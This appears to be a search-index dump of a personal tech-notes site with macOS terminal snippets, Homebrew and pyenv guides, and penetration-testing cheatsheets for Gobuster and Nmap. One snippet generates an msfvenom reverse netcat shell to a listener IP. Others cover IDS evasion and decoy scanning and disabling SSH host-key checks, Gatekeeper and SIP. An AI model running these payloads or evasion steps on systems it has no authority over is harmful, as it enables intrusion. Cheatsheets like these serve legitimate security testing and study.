
      Terminal usage snippets for macOS. This is a collection of snippets that I use without specific category.

      ", "tags": ["macos"]}, {"location": "mac-os/terminal-snippets/#install-macos-updates-via-cli", "title": "Install macOS Updates via CLI", "text": "
      softwareupdate -i -a\n
      ", "tags": ["macos"]}, {"location": "mac-os/terminal-snippets/#install-command-line-tools", "title": "Install Command Line Tools", "text": "
      xcode-select --install\n
      ", "tags": ["macos"]}, {"location": "mac-os/terminal-snippets/#shell-safe-rm", "title": "Shell Safe rm", "text": "

      Source shell-safe-rm github

      A much safer replacement of shell rm with ALMOST FULL features of the origin rm command.

      Initially developed on Mac OS X, then tested on Linux.

      Using safe-rm, the files or directories you choose to remove will move to $HOME/.Trash instead of simply deleting them. You could put them back whenever you want manually.

      If a file or directory with the same name already exists in the Trash, the name of newly-deleted items will be ended with the current date and time.

      Install with npm:

      npm i -g safe-rm\n

      Add Alias to your zshrc config

      alias rm='safe-rm'\n
      ", "tags": ["macos"]}, {"location": "mac-os/terminal-snippets/#disable-stricthostkeychecking-in-ssh", "title": "Disable StrictHostKeyChecking in SSH", "text": "

      To disable strict host checking on OS X for the current user, create or edit ~/.ssh/ssh_config and add the following lines:

      StrictHostKeyChecking no\n
      ", "tags": ["macos"]}, {"location": "mac-os/terminal-snippets/#set-macos-hostname-via-cli", "title": "Set macOS Hostname via CLI", "text": "
      sudo scutil --set HostName <NewHostNameHere>\n
      ", "tags": ["macos"]}, {"location": "mac-os/terminal-snippets/#syntax-highlighting-for-nano", "title": "Syntax Highlighting for Nano", "text": "

      Install Nano from homebrew Create ~/.nanorc file with the syntax below

      brew install nano\ntouch ~/.nanorc\n

      Edit ~/.nanorc file with the syntax below

      M1 (ARM)Intel Based
      echo 'include \"/opt/homebrew/share/nano/*.nanorc\"' >> ~/.nanorc\n
      echo 'include \"/usr/local/share/nano/*.nanorc\"' >> ~/.nanorc\n
      ", "tags": ["macos"]}, {"location": "mac-os/terminal-snippets/#disableenable-gatekeeper", "title": "Disable/Enable Gatekeeper", "text": "

      Disable Gatekeeper

      sudo spctl --master-disable\n

      Enable Gatekeeper

      sudo spctl --master-enable\n

      Check Status

      spctl --status\n
      ", "tags": ["macos"]}, {"location": "mac-os/terminal-snippets/#disableenable-sip-system-integrity-protection", "title": "Disable/Enable SIP (System Integrity Protection)", "text": "

      Reboot your Mac into Recovery Mode by restarting your computer and holding down Command+R until the Apple logo appears on your screen. Click Utilities > Terminal. In the Terminal window, type in:

      Status:

      csrutil status\n

      Disable:

      csrutil disable\n

      Enable:

      csrutil enable\n

      Press Enter and restart your Mac.

      ", "tags": ["macos"]}, {"location": "mac-os/terminal-snippets/#installing-rbenv-ruby-send-box-ruby-alternative-to-the-one-that-macos-uses", "title": "Installing rbenv (ruby send box) - Ruby alternative to the one that macOS uses", "text": "

      Install rbenv with brew

      brew install rbenv\n

      Add eval \"$(rbenv init -)\" to the end of ~/.zshrc or ~/.bash_profile

      Install a ruby version

      rbenv install 2.3.1\n

      Select a ruby version by rbenv

      rbenv global 2.3.1\n

      Open a new terminal window

      Verify that the right gem folder is being used with gem env home(should report something in your user folder not system wide)

      ", "tags": ["macos"]}, {"location": "mac-os/terminal-snippets/#list-listening-ports-and-programs-and-users-netstat-like", "title": "List listening Ports and Programs and Users (netstat like)", "text": "
      sudo lsof -i -P | grep -i \"listen\"\n
      ", "tags": ["macos"]}, {"location": "mac-os/terminal-snippets/#disable-last-login-at-terminal", "title": "Disable \"last login\" at Terminal", "text": "
      cd ~/\ntouch .hushlogin\n
      ", "tags": ["macos"]}, {"location": "mac-os/terminal-snippets/#fix-missing-usersshared-folder", "title": "Fix Missing /Users/Shared Folder", "text": "

      Create he missing /Users/Shared folder

      sudo mkdir -p /Users/Shared/\n

      Fix permissions for the /Users/Shared folder

      sudo chmod -R 1777 /Users/Shared\n
      ", "tags": ["macos"]}, {"location": "mac-os/terminal-snippets/#iterm2", "title": "iTerm2", "text": "

      Using Alt/Cmd + Right/Left Arrow in iTerm2

      Go to iTerm Preferences \u2192 Profiles, select your profile, then the Keys tab. click Load Preset... and choose Natural Text Editing.

      Remove the Right Arrow Before the Cursor Line

      you can turn it off by going in to Preferences > Profiles > (your profile) > Terminal, scroll down to Shell Integration, and turn off Show mark indicators.

      ", "tags": ["macos"]}, {"location": "mac-os/terminal-snippets/#clear-google-drive-cache", "title": "Clear Google Drive cache", "text": "
      rm -rf ~/Library/Application\\ Support/Google/DriveFS/[0-9]*\n
      ", "tags": ["macos"]}, {"location": "mac-os/touch-id-for-sudo/", "title": "TouchID for sudo", "text": "

      Apple devices such Macbooks and some Apple Magic Keyboards have a fingerprint - Touch ID scanner that can be used to authenticate a user with a touch of a finger. This functionality isn't available when using sudo to run commands. You have to enter your password every time you run commands with high privileges.

      We can enable TouchID for sudo with a simple config change. This will allow you to use Touch ID to authenticate with sudo without entering your password including the authentication with Apple Watch.

      Display Link - Known Issue

      As of the writing of this article, the Display Link Driver will privent the use of Touch ID for sudo when using the Display link device. It will work when the Display Link device isn't connected. This is a known issue.

      ", "tags": ["macOS", "iTerm2", "terminal", "touchID"]}, {"location": "mac-os/touch-id-for-sudo/#enable-touchid-for-sudo", "title": "Enable TouchID for sudo", "text": "

      Open in text editor file with sudo privileges /etc/pam.d/sudo. In the next example we will use the nano editor.

      sudo nano /etc/pam.d/sudo\n

      Add at the top of the config file this line:

      auth       sufficient     pam_tid.so\n

      Your config should look like this:

      Save and Exit.

      You can test your TouchID prompt in terminal by opening new session and running:

      sudo -l\n
      ", "tags": ["macOS", "iTerm2", "terminal", "touchID"]}, {"location": "mac-os/touch-id-for-sudo/#enable-touchid-support-in-iterm2", "title": "Enable TouchID Support in iTerm2", "text": "

      In order to enable TouchID support in iTerm2, you need to complete the above section and then follow the steps below:

      Go to iTerm2 -> Preferences -> Advanced and search for:

      Allow session to survive\n

      Change Allow session to survive logging out and back in. to No

      You can test your TouchID prompt in iTerm2 by opening new session and running:

      sudo -l\n
      ", "tags": ["macOS", "iTerm2", "terminal", "touchID"]}, {"location": "mac-os/ui-tweaks/", "title": "UI Tweaks", "text": "", "tags": ["macOS"]}, {"location": "mac-os/ui-tweaks/#hide-all-the-icons-on-your-desktop", "title": "Hide All The Icons On Your Desktop", "text": "

      Disable Icons:

      defaults write com.apple.finder CreateDesktop false\nkillall Finder\n

      Enable Icons:

      defaults write com.apple.finder CreateDesktop true\nkillall Finder\n
      ", "tags": ["macOS"]}, {"location": "mac-os/ui-tweaks/#change-the-launchpad-grid-layout", "title": "Change the Launchpad Grid Layout", "text": "

      Change the springboard-columns and springboard-rows values according to your preference

      defaults write com.apple.dock springboard-columns -int 8\ndefaults write com.apple.dock springboard-rows -int 6\ndefaults write com.apple.dock ResetLaunchPad -bool TRUE\nkillall Dock\n
      ", "tags": ["macOS"]}, {"location": "mac-os/ui-tweaks/#reset-launchpad-icons-sort", "title": "Reset Launchpad Icons Sort", "text": "
      defaults write com.apple.dock ResetLaunchPad -bool true; killall Dock\n
      ", "tags": ["macOS"]}, {"location": "mac-os/ui-tweaks/#set-the-same-view-options-for-all-finder-windows", "title": "Set the Same View Options for all Finder windows", "text": "

      First, we want to set the default view options for all new Finder windows. To do so, open Finder and click on the view setting that you want to use. The settings are four icons and the top of your Finder window. If you don't see the Finder toolbar type:

      cmd + option + t\n

      After selecting the option you want, type:

      cmd + j\n

      to open the view options window.

      Make sure you check the top two checkboxes that say Always open in list view and Browse in list view. Keep in mind it will reflect whichever view you've selected.

      Now click the button at the bottom that says \"Use as Defaults\".

      ", "tags": ["macOS"]}, {"location": "mac-os/ui-tweaks/#delete-all-ds_store-files-on-your-computer", "title": "Delete all .DS_Store files on your computer", "text": "

      Chances are you've opened some Finder windows in the past. Individual folder options will override this default setting that we just set.

      In order reset your folder settings across the entire machine we have to delete all .DS_Store files. This will ensure that all folders start fresh. Open up the Terminal application (Applications/Utilities/Terminal), and type:

      sudo find / -name .DS_Store -delete 2>/dev/null ; killall Finder\n

      Note: In the future, whenever you switch views, it will automatically save in the new .DS_Store file. This will override the default settings.

      ", "tags": ["macOS"]}, {"location": "mac-os/homebrew/brewup/", "title": "BrewUp", "text": "", "tags": ["macos", "homebrew", "bash", "github"]}, {"location": "mac-os/homebrew/brewup/#description", "title": "Description", "text": "

      Brewup script is a Bash script that uses Homebrew - The Missing Package Manager for macOS as it's base. Brewup uses GitHub as a \"backup\" of a config file which contains all installed Taps, Formulas, Casks and App Store Apps at your macOS. It also allows the use of Github main function of retaining changes so you can always look up for the package that were installed sometime ago and you just forgot what is was exactly.

      Visit as at 3os.org for more guides and tips for macOS

      ", "tags": ["macos", "homebrew", "bash", "github"]}, {"location": "mac-os/homebrew/brewup/#what-brewup-actually-does", "title": "What Brewup Actually Does", "text": "

      It just runs few Brew functionality automatically:

      • brew doctor
      • brew missing
      • brew upgrade
      • brew cask upgrade
      • brew cleanup
      • App Store Updates
      • Creating Updated Brewfile
      • Pushing changes to Git
      ", "tags": ["macos", "homebrew", "bash", "github"]}, {"location": "mac-os/homebrew/brewup/#requirements", "title": "Requirements", "text": "
      • Homebrew The missing package manager for macOS
      • git (with active account)
      • Mas, terminal-notifier, coreutils (will be installed if missing at the first script execution)
      ", "tags": ["macos", "homebrew", "bash", "github"]}, {"location": "mac-os/homebrew/brewup/#installing", "title": "Installing", "text": "

      Use this repository as template, it will create a Fork for you and you can start using it.

      git clone <paste the your repo url here>\n
      sudo ln -s ${PWD}/BrewUp/brewup.sh /usr/local/bin/brewup\n

      Note: if /usr/local/bin/ is missing create it with

      sudo mkdir /usr/local/bin/\n
      ", "tags": ["macos", "homebrew", "bash", "github"]}, {"location": "mac-os/homebrew/brewup/#usage", "title": "Usage", "text": "

      just run from terminal:

      brewup\n

      Install all apps from BrewFile:

      cd to local location you cloned your repository and run:

      brew bundle install --file=<BrewFile Name>\n
      ", "tags": ["macos", "homebrew", "bash", "github"]}, {"location": "mac-os/homebrew/brewup/#license", "title": "License", "text": "", "tags": ["macos", "homebrew", "bash", "github"]}, {"location": "mac-os/homebrew/brewup/#mit-license", "title": "MIT License", "text": "

      Copyright \u00a9 Stas Kosatuhin @2019

      Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

      The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

      THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

      ", "tags": ["macos", "homebrew", "bash", "github"]}, {"location": "mac-os/homebrew/homebrew-snippets/", "title": "Brew Snippets", "text": "", "tags": ["macOS", "homebrew"]}, {"location": "mac-os/homebrew/homebrew-snippets/#brew-pinns-freez-and-unfreez-specific-packages", "title": "Brew Pinns - Freez and Unfreez Specific Packages", "text": "

      This will alow you to pin (freez update) to specific packages to your Homebrew installation and then unfreeze them.

      List of packages that you freeze

      brew list --pinned\n

      Freeze Version

      brew pin <formula>\n

      Unfreeze Version

      brew unpin <formula>\n
      ", "tags": ["macOS", "homebrew"]}, {"location": "mac-os/homebrew/homebrew-snippets/#uninstall-brew-package-and-dependencies", "title": "Uninstall Brew Package and Dependencies", "text": "

      Remove package's dependencies (does not remove package):

      brew deps [FORMULA] | xargs brew remove --ignore-dependencies\n

      Remove package:

      brew remove [FORMULA]\n

      Reinstall missing libraries:

      brew missing | cut -d: -f2 | sort | uniq | xargs brew install\n
      ", "tags": ["macOS", "homebrew"]}, {"location": "mac-os/python/pyenv-virtualenv/", "title": "Pyenv-virtualenv - Multiple Version Python Virtual Environment Manager", "text": "

      For easy non-multiple version Python Virtual Environment follow this Venv Python Virtual Environment

      ", "tags": ["maco", "python"]}, {"location": "mac-os/python/pyenv-virtualenv/#intro", "title": "Intro", "text": "

      Using and developing with Python on macOS sometimes may be frustrating...

      The reason for that is that macOS uses Python 2 for its core system with pip as a package manager. When Xcode Command Line Tools are installed Python 3 and pip3 package manager will be available at the cli. When using Python2, Python3 and their package managers this way, all the packages will be installed at the system level and my effect the native packages and their dependences , this can break or lead to unwanted bugs in OS.

      The right way to use python at macOS is to use Virtual Environments for python. This way all the system related versions of python and their packages won't be affected and use by you.

      ", "tags": ["maco", "python"]}, {"location": "mac-os/python/pyenv-virtualenv/#installing-and-configuring-pyenv-pyenv-virtualenv", "title": "Installing and configuring pyenv, pyenv-virtualenv", "text": "

      In order to use pyenv, pyenv-virtualenv without conflicting with the native macOS python we need to add some configuration to our ~/.zshrc config (for mac os catalina) or your bash config if you are still using bash.

      It's very imported to maintain the order of the configuration for the loading order

      • First of all we need to include your Executable Paths. In the example we added all the common paths, including the paths for pyenv, pyenv-virtualenv. If you have any other path that you use, you can add them at the same line or create a new line below this one.
      • Second to Executable Paths we will add two if statements that will check if the pyenv,pyenv-virtualenv are installed, if they are it will load them. If they aren't and you are using the same zsh or bash config it will ignore loading them
      • Third is a fix for brew, brew doctor. When using this method it may conflict with brew as it uses python as well. If you run run brew doctor without the fix, it will show config warnings related to the python configuration files.

      Configuration for ~/.zshrc or ~/.zprofile

      # Executable Paths\n## Global\nexport PATH=\"/usr/local/bin:/usr/local/sbin:/Users/${USER}/.local/bin:/usr/bin:/usr/sbin:/bin:/sbin:$PATH\"\n\n## Curl\nexport PATH=\"/opt/homebrew/opt/curl/bin:$PATH\"\nexport LDFLAGS=\"-L/opt/homebrew/opt/curl/lib\"\nexport CPPFLAGS=\"-I/opt/homebrew/opt/curl/include\"\nexport PKG_CONFIG_PATH=\"/opt/homebrew/opt/curl/lib/pkgconfig\"\n\n# pyenv, pyenv-virtualenv\n## Initiating pyenv and fix Brew Doctor: \"Warning: \"config\" scripts exist outside your system or Homebrew directories\"\nif which pyenv >/dev/null; then\n  eval \"$(pyenv init --path)\"\n  alias brew='env PATH=${PATH//$(pyenv root)\\/shims:/} brew'\nfi\n\n## Initiating pyenv-virtualenv\nif which pyenv-virtualenv-init >/dev/null; then\n  eval \"$(pyenv virtualenv-init -)\"\nfi\n

      After you saved your configuration the best way to load it is to close your terminal session and open it again. This will load the session with your updated configuration. There should be no errors at the new session.

      This will install both pyenv and pyenv-virtualenv

      brew install pyenv-virtualenv\n

      Test if pyenv loaded currently

      pyenv -v\n

      After the installation we would like to set a system level python version, you can chose the default from the list available from the pyenv

      List available Python Version and find the version suited for your needs:

      pyenv install --list\n

      Install Requeued Python Version (Exmaple version 3.9.5) as a default system

      pyenv install 3.9.5\n

      Set it as global

      pyenv global 3.9.5\n

      You can install multiply versions of python at the same time.

      List all installed python versions and virtual environments and their python versions

      pyenv versions\n

      Now let's test our system Python version we set before, it should be the version you choose as Global before

      python -V\n

      So far we cleaned your system and installed and configured pyenv, pyenv-virtualenv.

      ", "tags": ["maco", "python"]}, {"location": "mac-os/python/pyenv-virtualenv/#how-to-use-pyenv-virtualenv", "title": "How to use pyenv-virtualenv", "text": "

      Now let's understand how to use Python Virtual Environment with pyenv-virtualenv

      Full documentation can be found at the original repo at git hub: pyenv-virtualenv github

      We will list here some basic examples for a quick start and basic understanding

      To create a virtualenv for the Python version used with pyenv, run pyenv virtualenv, specifying the Python version you want and the name of the virtualenv directory. For example,

      pyenv virtualenv 3.9.5 my-project-name\n

      This will create a virtualenv based on Python 3.9.5 under $(pyenv root)/versions in a folder called my-project-name

      Activating virtualenv automatically for project

      The best way we found to activate the virtualenv at your project is to link the projects directory to the virtualenv.

      cd to the project's directory and link the virtualenv for example my-project-name virtualenv

      pyenv local my-project-name\n

      This will activate the linked virtualenv every time you cd to this directory automatically From now you can use pip to install any packages you need for your project, the location of the installed packages will be at $(pyenv root)/versions/

      Activating virtualenv manually for project

      You can also activate and deactivate a pyenv virtualenv manually:

      pyenv activate <virtualenv name>\npyenv deactivate\n

      This will alow you to use multiply versions of python or packages for the same project

      List existing virtualenvs

      pyenv virtualenvs\n

      Delete existing virtualenv

      pyenv uninstall my-virtual-env\n

      or

      pyenv virtualenv-delete my-virtual-env\n

      You and your macOS should be ready for using python the right way without conflicting any system or Xcode Command Line Tools (used by brew)

      ", "tags": ["maco", "python"]}, {"location": "penetration-testing/cheatsheets/cli-commands-collation/", "title": "Cli Commands Collation", "text": "", "tags": ["pt", "penetration-testing", "cli", "commands", "collation"]}, {"location": "penetration-testing/cheatsheets/cli-commands-collation/#find-ptr-owner-reversal-look-up", "title": "Find PTR Owner - Reversal Look Up", "text": "
      dig 0.168.192.in-addr.arpa. NS\n
      ", "tags": ["pt", "penetration-testing", "cli", "commands", "collation"]}, {"location": "penetration-testing/cheatsheets/cli-commands-collation/#listent-for-pingicmp-on-interface", "title": "Listent for Ping/icmp on interface", "text": "
      sudo tcpdump ip proto \\\\icmp -i eth0\n
      ", "tags": ["pt", "penetration-testing", "cli", "commands", "collation"]}, {"location": "penetration-testing/cheatsheets/cli-commands-collation/#reverse-netcat-shell", "title": "Reverse Netcat Shell", "text": "

      Payload R(row)

      msfvenom -p cmd/unix/reverse_netcat lhost=10.11.19.49 lport=4444 R\n

      listener:

      nc -lvp 4444\n
      ", "tags": ["pt", "penetration-testing", "cli", "commands", "collation"]}, {"location": "penetration-testing/cheatsheets/cli-commands-collation/#nfs-show-mount", "title": "NFS Show Mount", "text": "
      showmount -e 10.10.87.232\n
      ", "tags": ["pt", "penetration-testing", "cli", "commands", "collation"]}, {"location": "penetration-testing/cheatsheets/gobuster-cheatsheet/", "title": "Gobuster CheatSheet", "text": "", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/gobuster-cheatsheet/#common-gobuster-commands", "title": "Common Gobuster Commands", "text": "", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/gobuster-cheatsheet/#dir-mode", "title": "dir Mode", "text": "
      gobuster dir -u https://example.com -w ~/wordlists/shortlist.txt\n

      With content length

      gobuster dir -u https://example.com -w ~/wordlists/shortlist.txt -l\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/gobuster-cheatsheet/#dns-mode", "title": "dns Mode", "text": "
      gobuster dns -d example.com -t 50 -w common-names.txt\n
      gobuster dns -d example.com-w ~/wordlists/subdomains.txt\n

      With Show IP

      gobuster dns -d example.com -w ~/wordlists/subdomains.txt -i\n

      Base domain validation warning when the base domain fails to resolve

      gobuster dns -d example.com -w ~/wordlists/subdomains.txt -i\n

      Wildcard DNS is also detected properly:

      gobuster dns -d 0.0.1.xip.io -w ~/wordlists/subdomains.txt\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/gobuster-cheatsheet/#vhost-mode", "title": "vhost Mode", "text": "
      gobuster vhost -u https://example.com -w common-vhosts.txt\n

      s3 Mode

      gobuster s3 -w bucket-names.txt\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/gobuster-cheatsheet/#available-modes", "title": "Available Modes", "text": "Switch Description dir the classic directory brute-forcing mode dns DNS subdomain brute-forcing mode s3 Enumerate open S3 buckets and look for existence and bucket listings vhost irtual host brute-forcing mode (not the same as DNS!)", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/gobuster-cheatsheet/#global-flags", "title": "Global Flags", "text": "Short Switch Long Switch Description -z --no-progress Don't display progress -o --output string Output file to write results to (defaults to stdout) -q --quiet Don't print the banner and other noise -t --threads int Number of concurrent threads (default 10) -i --show-ips Show IP addresses --delay duration DNS resolver timeout (default 1s) -v, --verbose Verbose output (errors) -w --wordlist string Path to the wordlist", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/gobuster-cheatsheet/#dns-mode-options", "title": "DNS Mode Options", "text": "Short Switch Long Switch Description -h, --help help for dns -d, --domain string The target domain -r, --resolver string Use custom DNS server (format server.com or server.com:port) -c, --show-cname Show CNAME records (cannot be used with '-i' option) -i, --show-ips Show IP addresses --timeout duration DNS resolver timeout (default 1s)", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/gobuster-cheatsheet/#dir-mode-options", "title": "DIR Mode Options", "text": "Short Switch Long Switch Description -h, --help help for dir -f, --add-slash Append / to each request -c, --cookies string Cookies to use for the requests -e, --expanded Expanded mode, print full URLs -x, --extensions string File extension(s) to search for -r, --follow-redirect Follow redirects -H, --headers stringArray Specify HTTP headers, -H 'Header1: val1' -H 'Header2: val2' -l, --include-length Include the length of the body in the output -k, --no-tls-validation Skip TLS certificate verification -n, --no-status Don't print status codes -P, --password string Password for Basic Auth -p, --proxy string Proxy to use for requests [http(s)://host:port] -s, --status-codes string Positive status codes (will be overwritten with status-codes-blacklist if set) (default \"200,204,301,302,307,401,403\") -b, --status-codes-blacklist string Negative status codes (will override status-codes if set) --timeout duration HTTP Timeout (default 10s) -u, --url string The target URL -a, --useragent string Set the User-Agent string (default \"gobuster/3.1.0\") -U, --username string Username for Basic Auth -d, --discover-backup Upon finding a file search for backup files --wildcard Force continued operation when wildcard found", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/gobuster-cheatsheet/#vhost-mode-options", "title": "vhost Mode Options", "text": "Short Switch Long Switch Description -h --help help for vhost -c --cookies string Cookies to use for the requests -r --follow-redirect Follow redirects -H --headers stringArray Specify HTTP headers, -H 'Header1: val1' -H 'Header2: val2' -k --no-tls-validation Skip TLS certificate verification -P --password string Password for Basic Auth -p --proxy string Proxy to use for requests [http(s)://host:port] --timeout duration HTTP Timeout (default 10s) -u --url string The target URL -a --useragent string Set the User-Agent string (default \"gobuster/3.1.0\") -U --username string Username for Basic Auth", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/nmap-cheatsheet/", "title": "Nmap CheatSheet", "text": "", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/nmap-cheatsheet/#common-nmap-commands", "title": "Common Nmap Commands", "text": "

      Aggressive scan, single host, TCP SYN, :

      nmap -n -sS -p- -T4 -Pn -A -v 192.168.1.1\n

      Ping Scan - Host discovery in subnet

      nmap -sn -v 192.168.0.0/24\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/nmap-cheatsheet/#target-specification", "title": "Target Specification", "text": "Switch Description Example nmap 192.168.1.1 Scan a single IP nmap 192.168.1.1 192.168.2.1 Scan specific IPs nmap scanme.nmap.org Scan a range nmap scanme.nmap.org Scan a domain nmap 192.168.1.0/24 Scan using CIDR notation -iL nmap -iL targets.txt Scan targets from a file -iR nmap -iR 100 Scan 100 random hosts --exclude nmap --exclude 192.168.1.1 Exclude listed hosts", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/nmap-cheatsheet/#scan-techniques", "title": "Scan Techniques", "text": "Switch Example Description -sS nmap 192.168.1.1 -sS TCP SYN port scan (Default) -sT nmap 192.168.1.1 -sT TCP connect port scan (Default without root privilege) -sU nmap 192.168.1.1 -sU UDP port scan -sA nmap 192.168.1.1 -sA TCP ACK port scan -sW nmap 192.168.1.1 -sW TCP Window port scan -sM nmap 192.168.1.1 -sM TCP Maimon port scan", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/nmap-cheatsheet/#host-discovery", "title": "Host Discovery", "text": "Switch Description Example -sL nmap 192.168.1.1-3 -sL No Scan. List targets only -sn nmap 192.168.1.1/24 -sn Disable port scanning. Host discovery only. -Pn nmap 192.168.1.1-5 -Pn Disable host discovery. Port scan only. -PS nmap 192.168.1.1-5 -PS22-25,80 TCP SYN discovery on port x.Port 80 by default -PA nmap 192.168.1.1-5 -PA22-25,80 TCP ACK discovery on port x.Port 80 by default -PU nmap 192.168.1.1-5 -PU53 UDP discovery on port x.Port 40125 by default -PR nmap 192.168.1.1-1/24 -PR ARP discovery on local network -n nmap 192.168.1.1 -n Never do DNS resolution", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/nmap-cheatsheet/#port-specification", "title": "Port Specification", "text": "Switch Description Example -p nmap 192.168.1.1 -p 21 Port scan for port x -p nmap 192.168.1.1 -p 21-100 Port range -p nmap 192.168.1.1 -p U:53,T:21-25,80 Port scan multiple TCP and UDP ports -p nmap 192.168.1.1 -p- Port scan all ports -p nmap 192.168.1.1 -p http,https Port scan from service name -F nmap 192.168.1.1 -F Fast port scan (100 ports) --top-ports nmap 192.168.1.1 --top-ports 2000 Port scan the top x ports -p-65535 nmap 192.168.1.1 -p-65535 Leaving off initial port in range makes the scan start at port 1 -p0- nmap 192.168.1.1 -p0- Leaving off end port in rangemakes the scan go through to port 65535", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/nmap-cheatsheet/#service-and-version-detection", "title": "Service and Version Detection", "text": "Switch Description Example -sV nmap 192.168.1.1 -sV Attempts to determine the version of the service running on port -sV --version-intensity nmap 192.168.1.1 -sV --version-intensity 8 Intensity level 0 to 9. Higher number increases possibility of correctness -sV --version-light nmap 192.168.1.1 -sV --version-light Enable light mode. Lower possibility of correctness. Faster -sV --version-all nmap 192.168.1.1 -sV --version-all Enable intensity level 9. Higher possibility of correctness. Slower -A nmap 192.168.1.1 -A Enables OS detection, version detection, script scanning, and traceroute", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/nmap-cheatsheet/#os-detection", "title": "OS Detection", "text": "Switch Description Example -O nmap 192.168.1.1 -O Remote OS detection using TCP/IP stack fingerprinting -O --osscan-limit nmap 192.168.1.1 -O --osscan-limit If at least one open and one closed TCP port are not found it will not try OS detection against host -O --osscan-guess nmap 192.168.1.1 -O --osscan-guess Makes Nmap guess more aggressively -O --max-os-tries nmap 192.168.1.1 -O --max-os-tries 1 Set the maximum number x of OS detection tries against a target -A nmap 192.168.1.1 -A Enables OS detection, version detection, script scanning, and traceroute", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/nmap-cheatsheet/#timing-and-performance", "title": "Timing and Performance", "text": "Switch Description Example -T0 nmap 192.168.1.1 -T0 Paranoid (0) Intrusion DetectionSystem evasion -T1 nmap 192.168.1.1 -T1 Sneaky (1) Intrusion Detection Systemevasion -T2 nmap 192.168.1.1 -T2 Polite (2) slows down the scan to useless bandwidth and use less target machine resources -T3 nmap 192.168.1.1 -T3 Normal (3) which is default speed -T4 nmap 192.168.1.1 -T4 Aggressive (4) speeds scans; assumes you are on a reasonably fast and reliable network -T5 nmap 192.168.1.1 -T5 Insane (5) speeds scan; assumes you are on an extraordinarily fast network -------- -------- ------------------------------------------------------------------------------------------- --host-timeout 1s; 4m; 2h Give up on target after this long --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout 1s; 4m; 2h Specifies probe round trip time --min-hostgroup/max-hostgroup <size 50; 1024 Parallel host scan group sizes --min-parallelism/max-parallelism 10; 1 Probe parallelization --scan-delay/--max-scan-delay 20ms; 2s; 4m; 5h Adjust delay between probes --max-retries 3 Specify the maximum number of port scan probe retransmissions --min-rate 100 Send packets no slower than per second --max-rate 100 Send packets no faster than per second", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/nmap-cheatsheet/#nse-scripts", "title": "NSE Scripts", "text": "Switch Description Example -sC nmap 192.168.1.1 -sC Scan with default NSE scripts. Considered useful for discovery and safe --script default nmap 192.168.1.1 --script default Scan with default NSE scripts. Considered useful for discovery and safe --script nmap 192.168.1.1 --script=banner Scan with a single script. Example banner --script nmap 192.168.1.1 --script=http* Scan with a wildcard. Example http --script nmap 192.168.1.1 --script=http,banner Scan with two scripts. Example http and banner --script nmap 192.168.1.1 --script \"not intrusive\" Scan default, but remove intrusive scripts --script-args nmap --script snmp-sysdescr --script-args snmpcommunity=admin 192.168.1.1 NSE script with arguments", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/nmap-cheatsheet/#useful-nse-script-examples", "title": "Useful NSE Script Examples", "text": "Command Description nmap -Pn --script=http-sitemap-generator scanme.nmap.org http site map generator nmap -n -Pn -p 80 --open -sV -vvv --script banner,http-title -iR 1000 Fast search for random web servers nmap -Pn --script=dns-brute domain.com Brute forces DNS hostnames guessing subdomains nmap -n -Pn -vv -O -sV --script smb-enum,smb-ls,smb-mbenum,smb-os-discovery,smb-s,smb-vuln,smbv2 -vv 192.168.1.1 Safe SMB scripts to run nmap --script whois* domain.com Whois query nmap -p80 --script http-unsafe-output-escaping scanme.nmap.org Detect cross site scripting vulnerabilities nmap -p80 --script http-sql-injection scanme.nmap.org Check for SQL injections", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/nmap-cheatsheet/#firewall-ids-evasion-and-spoofing", "title": "Firewall / IDS Evasion and Spoofing", "text": "Switch Description Example -f nmap 192.168.1.1 -f Requested scan (including ping scans) use tiny fragmented IP packets. Harder for packet filters --mtu nmap 192.168.1.1 --mtu 32 Set your own offset size -D nmap -D 192.168.1.101,192.168.1.102, 